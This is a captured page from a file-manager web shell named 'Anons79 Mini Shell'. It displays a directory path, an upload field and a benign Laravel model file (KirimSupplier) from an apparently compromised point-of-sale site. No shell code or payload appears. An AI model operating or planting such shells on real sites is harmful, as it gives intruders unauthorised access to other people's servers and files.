Anons79 Mini Shell

Directory : /home/aplikasiposinfo/public_html/demo-bagus.fixmate.id/app/Models/
Upload File :
Current File : /home/aplikasiposinfo/public_html/demo-bagus.fixmate.id/app/Models/KirimSupplier.php

<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;

class KirimSupplier extends Model
{
    use HasFactory;

    protected $fillable = [
        'pengguna_id',
        'supplier_id',
        'no_kirim',
        'tanggal_kirim',
        'status_kirim',
        'jenis_kompensasi',
        'file_bukti',
        'keterangan'
    ];

    public function pengguna(){
        return $this->belongsTo(Pengguna::class);
    }

    public function supplier(){
        return $this->belongsTo(Supplier::class);
    }

    public function detail_kirim_supplier(){
        return $this->hasMany(DetailKirimSupplier::class);
    }

    public function getTotalAttribute()
    {
        $total = 0;
        foreach ($this->detail_kirim_supplier as $detail) {
            $total += $detail->qty * $detail->biaya_item;
        }

        return $total;
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]